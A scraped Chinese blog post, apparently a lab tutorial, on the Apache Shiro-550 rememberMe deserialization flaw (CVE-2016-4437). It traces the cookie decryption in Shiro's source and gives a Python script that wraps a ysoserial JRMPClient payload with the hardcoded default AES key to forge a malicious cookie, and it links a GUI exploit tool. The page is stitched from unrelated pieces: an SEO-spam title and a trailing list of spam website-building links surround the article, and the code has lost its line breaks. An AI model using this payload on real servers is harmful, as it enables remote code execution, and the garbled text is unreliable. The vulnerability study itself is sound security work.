当前位置: 首页 > news >正文

炫酷做网站背景图空间 网站都有 肿么做网站

炫酷做网站背景图,空间 网站都有 肿么做网站,网络上如何推广网站,刷赞网站推广免费链接//发点去年存货 前言 apache shiro是一个java安全框架,作用是提供身份验证,Apache Shiro框架提供了一个Rememberme的功能,存储在cookie里面的Key里面,攻击者可以使用Shiro的默认密钥构造恶意序列化对象进行编码来伪造用户的 Cookie&#xf…

//发点去年存货

前言

apache shiro是一个java安全框架,作用是提供身份验证,Apache Shiro框架提供了一个Rememberme的功能,存储在cookie里面的Key里面,攻击者可以使用Shiro的默认密钥构造恶意序列化对象进行编码来伪造用户的 Cookie,服务端反序列化时触发漏洞,从而执行命令。
影响版本如下:

Apache shiro <= 1.2.4

下面我们展开来讲讲该漏洞是如何利用的。

利用

在服务器接受带有shiro框架的服务请求时,cookie会经过以下几个步骤:

1.服务器会先检索RememberMe cookie的值
2.之后进行base64解码
3.接着使用aes解码
4.最后进行反序列化操作

其中AES加密cookie的值时利用的是加密密钥硬编码,也就是说有一定几率的可以进行破解,因此可能存在伪造cookie来进行恶意反序列化的攻击。
下面我们具体分析一下,先看org/apache/shiro/mgt/DefaultSecurityManager.java:
里面有一个方法叫getRememberedSerializedIdentity ,简单看一下就是:
在这里插入图片描述可以看到里面获取了请求的cookie值再进行了base64编码,于是我们接着看谁调用了它,于是找到了getRememberedPrincipals

在这里插入图片描述将解码后信息放进了一个数组里,然后使用了这个名为convertbytestoprincipals方法去处理,继续跟进了,发现该方法对信息进行了decrypt解密,继续跟进一下:

protected byte[] decrypt(byte[] encrypted) {byte[] serialized = encrypted;CipherService cipherService = getCipherService();if (cipherService != null) {ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());serialized = byteSource.getBytes();}return serialized;
}

可以看到这是一个获取加密再进行解密的过程,我们跟进getDecryptionCipherKey() ,根据返回值一直跟进到setCipherKey ,发现:

setCipherKey(DEFAULT_CIPHER_KEY_BYTES);

我们找到了这个固定的加密的key:

在这里插入图片描述那我们如何进行反序列化呢,这里需要回到convertbytestoprincipals:

在这里插入图片描述跟进deserialize,发现了两个实现方法,而且都是调用的原生readobject:

在这里插入图片描述

实例

这里以一个例题为例,我们先搭建个靶机:

cd /vulhub/shiro/CVE-2016-4437
docker-compose up -d

进入靶机的页面就是一个带有记住功能的登陆页面:

在这里插入图片描述抓包后改cookie值发现返回了以下数据,rememberme=deleteme,也就说明可能存在漏洞:

在这里插入图片描述这里贴一个基于YSOSERIAL反序列化工具的python脚本:

# -*- coding: utf-8 -*-
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") # 替换密钥iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertext
if __name__ == '__main__':payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())

生成后替换cookie即可,当然也有图形化页面的攻击方法:

项目地址:https://github.com/feihong-cs/ShiroExploit-Deprecated

页面如下,输入要检测的ip地址设置攻击方法即可,非常方便:

在这里插入图片描述选择检测方式后会进行检测,如果出现find valid gadget就说明可以利用,我们就可以从工具上输入我们要执行的漏洞了。

结语

简单带大家总结了一下shiro550反序列化漏洞,不知道大家学习的怎么样了,简单来看shiro框架命令执行的的执行流程可以简单概括为:命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值,我们根据上面源码的分析以及它硬编码的特性,便可以进行攻击,当然这只是最简单的利用,我们也可以结合其他利用链来构造攻击链接,有兴趣的小伙伴可以自己去尝试一下。

http://www.yayakq.cn/news/931811/

相关文章:

  • 可以做试卷并批改的网站优设网素材下载
  • 盖州网站优化番禺人才网招聘网官网
  • 网站建设中单页代码网站开发调研方案
  • 高端网站制作上海qq网页登录入口
  • 济南网站建设推广服务怒江州建设局网站企业备案网站
  • 南昌企业建设网站开发陕西建设主管部门网站
  • 湖南网站开发公司电话网站整站出售
  • 博罗县建设局网站appstar
  • 网站制作评价标准net后缀的可以做网站吗
  • 网站开发多少钱一天是赞皇建站建设
  • 网站建设那个公司好wordpress文章内图片幻灯片
  • 山东网站备案时间1920的做网站做多大
  • 上海住房城乡建设厅网站首页黄石网站制作
  • 自助建微网站甘肃建设厅网站
  • php视频网站开发布吉网站设计
  • 好的网站分析案例连云港公司网站建设
  • 南宁网站建设产品淘宝引流推广平台
  • 宏泰机械网站建设手机网站自适应分辨率
  • 做网站有什么用出wordpress微信插件
  • 网站开发技术服务合同百度正版下载
  • 郑州市公司网站开发设计上海有名的做网站的公司有哪些
  • 化妆品网站建设经济可行性分析百度指数查询官网
  • 阳江建设网站wordpress 页面 菜单
  • 郑州正规的网站设计wordpress本地图片
  • 做h5哪个网站好湖北设计公司
  • 甜蜜高端定制网站安徽省住房与城乡建设网站
  • 网站建设企业号助手nas wordpress备案
  • php网站开发试卷建立自己的网站平台
  • 本地服务器网站建设品牌推广方案设计
  • 太原网站制作策划软件技术适合女生学吗大专